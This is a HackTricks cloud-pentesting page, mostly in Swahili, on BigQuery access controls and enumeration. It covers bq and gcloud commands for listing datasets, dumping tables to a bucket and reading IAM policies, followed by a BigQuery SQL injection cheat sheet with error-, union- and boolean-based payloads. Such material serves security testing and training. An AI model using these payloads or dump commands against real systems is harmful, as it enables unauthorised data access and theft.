GCP - Bigquery Enum

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Basic Information

Google Cloud BigQuery ni ghala la data la biashara lisilo na seva, linalosimamiwa kikamilifu, likitoa uwezo wa uchambuzi wa petabytes za data, hivyo kushughulikia seti kubwa za data kwa ufanisi. Kama Jukwaa kama Huduma (PaaS), inatoa watumiaji miundombinu na zana za kuwezesha usimamizi wa data bila haja ya uangalizi wa mikono.

Inasaidia kuuliza kwa kutumia ANSI SQL. Vitu vikuu ni datasets vinavyoshikilia tables vinavyoshikilia data ya SQL.

Encryption

Kwa kawaida, funguo za usimbuaji zinazodhibitiwa na Google zinatumika ingawa inawezekana kuweka funguo za usimbuaji zinazodhibitiwa na Mteja (CMEK). Inawezekana kuashiria funguo za usimbuaji kwa kila dataset na kwa kila table ndani ya dataset.

Expiration

Inawezekana kuashiria muda wa kuisha katika dataset hivyo kila table mpya itakayoundwa katika dataset hii itafutwa kiotomatiki siku zilizotajwa baada ya kuundwa.

External Sources

Bigquery imeunganishwa kwa kina na huduma nyingine za Google. Inawezekana kupakia data kutoka kwa buckets, pub/sub, google drive, RDS databases...

Dataset ACLs

Wakati dataset inaundwa, ACLs zimeunganishwa kutoa ufikiaji juu yake. Kwa kawaida, inatolewa haki za Mmiliki kwa mtumiaji aliyeunda dataset na kisha Mmiliki kwa kundi projectOwners (Wamiliki wa mradi), Mwandishi kwa kundi projectWriters, na Msomaji kwa kundi projectReaders:

bq show --format=prettyjson <proj>:<dataset>

...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "[e-mail]"
},
{
"role": "OWNER",
"userByEmail": "[e-mail]"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...

Table Rows Control Access

Ni uwezekano wa kudhibiti mistari ambayo kiongozi anaweza kufikia ndani ya jedwali kwa kutumia sera za ufikiaji wa mistari. Hizi zinafafanuliwa ndani ya jedwali kwa kutumia DDL. Sera ya ufikiaji inaelezea kichujio na ni mistari pekee inayolingana na kichujio hicho ambayo itakuwa inapatikana kwa viongozi waliotajwa.

# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:[e-mail]')
FILTER USING (region = 'APAC');

# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:[e-mail]',
'group:[e-mail]',
'group:[e-mail]')
FILTER USING (region = 'US');

# Check the Post Exploitation tricks to see how to call this from the cli

# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

Columns Access Control

Ili kudhibiti ufikiaji wa data kwa kiwango cha safu:

1. Define a taxonomy and policy tags. Unda na usimamie taxonomy na vitambulisho vya sera kwa data yako. https://console.cloud.google.com/bigquery/policy-tags

2. Hiari: Peana Data Catalog Fine-Grained Reader role to one or more principals kwenye moja au zaidi ya vitambulisho vya sera ulivyounda.

3. Assign policy tags to your BigQuery columns. Katika BigQuery, tumia maelezo ya muundo kupeana vitambulisho vya sera kwa kila safu ambapo unataka kudhibiti ufikiaji.

4. Enforce access control on the taxonomy. Kuthibitisha udhibiti wa ufikiaji kunasababisha vizuizi vya ufikiaji vilivyofafanuliwa kwa vitambulisho vyote vya sera katika taxonomy kutumika.

5. Manage access on the policy tags. Tumia Identity and Access Management (IAM) sera kudhibiti ufikiaji kwa kila kitambulisho cha sera. Sera hiyo inatumika kwa kila safu inayomilikiwa na kitambulisho cha sera.

Wakati mtumiaji anajaribu kufikia data ya safu wakati wa uchunguzi, BigQuery checks the column policy tag and its policy to see whether the user is authorized to access the data.

Kama muhtasari, ili kudhibiti ufikiaji wa baadhi ya safu kwa baadhi ya watumiaji, unaweza add a tag to the column in the schema and restrict the access ya watumiaji kwa kitambulisho kwa kuthibitisha udhibiti wa ufikiaji kwenye taxonomy ya kitambulisho.

Ili kuthibitisha udhibiti wa ufikiaji kwenye taxonomy inahitajika kuwezesha huduma:

gcloud services enable bigquerydatapolicy.googleapis.com

Ni inawezekana kuona lebo za safu na:

bq show --schema <proj>:<dataset>.<table>

[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]

Uhesabu

# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)

# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table>  # Get schema of a table

# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files

# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json

# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>

# Get jobs executed
bq ls --jobs=true --all=true
bq show --location=<location> show --format=prettyjson --job=true <job-id>

# Misc
bq show --encryption_service_account # Get encryption service account

BigQuery SQL Injection

Kwa maelezo zaidi unaweza kuangalia chapisho la blogu: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Hapa kuna maelezo machache yatakayotolewa.

Maoni:

• select 1#from here it is not working

• select 1/*between those it is not working*/ Lakini ile ya awali haitafanya kazi

• select 1--from here it is not working

Pata maelezo kuhusu mazingira kama vile:

• Mtumiaji wa sasa: select session_user()

• Kitambulisho cha mradi: select @@project_id

Unganisha safu:

• Majina yote ya meza: string_agg(table_name, ', ')

Pata datasets, tables na majina ya safu:

• Jina la mradi na dataset:

SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA

• Majina ya safu na meza za meza zote za dataset:

# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS

SELECT table_name, column_name FROM <project-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS

• Seti nyingine katika mradi sawa:

# SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA

SELECT catalog_name, schema_name, NULL FROM <project-name>.INFORMATION_SCHEMA.SCHEMATA

Aina za SQL Injection:

• Kulingana na makosa - casting: select CAST(@@project_id AS INT64)

• Kulingana na makosa - kugawanya kwa sifuri: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '

• Kulingana na umoja (unahitaji kutumia ALL katika bigquery): UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#

• Kulingana na boolean: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#

• Kulingana na muda wa uwezekano - Matumizi ya mifano ya datasets za umma: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000

Hati:

• Orodha ya kazi zote: https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators

• Kauli za uandishi: https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting

Kuinua Haki & Baada ya Kutekeleza

GCP - BigQuery Privesc

Kudumu

GCP - BigQuery Persistence

Marejeleo

• https://cloud.google.com/bigquery/docs/column-level-security-intro

Jifunze & fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Jifunze & fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Angalia mpango wa usajili!

• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au fuata sisi kwenye Twitter 🐦 @hacktricks_live.

• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.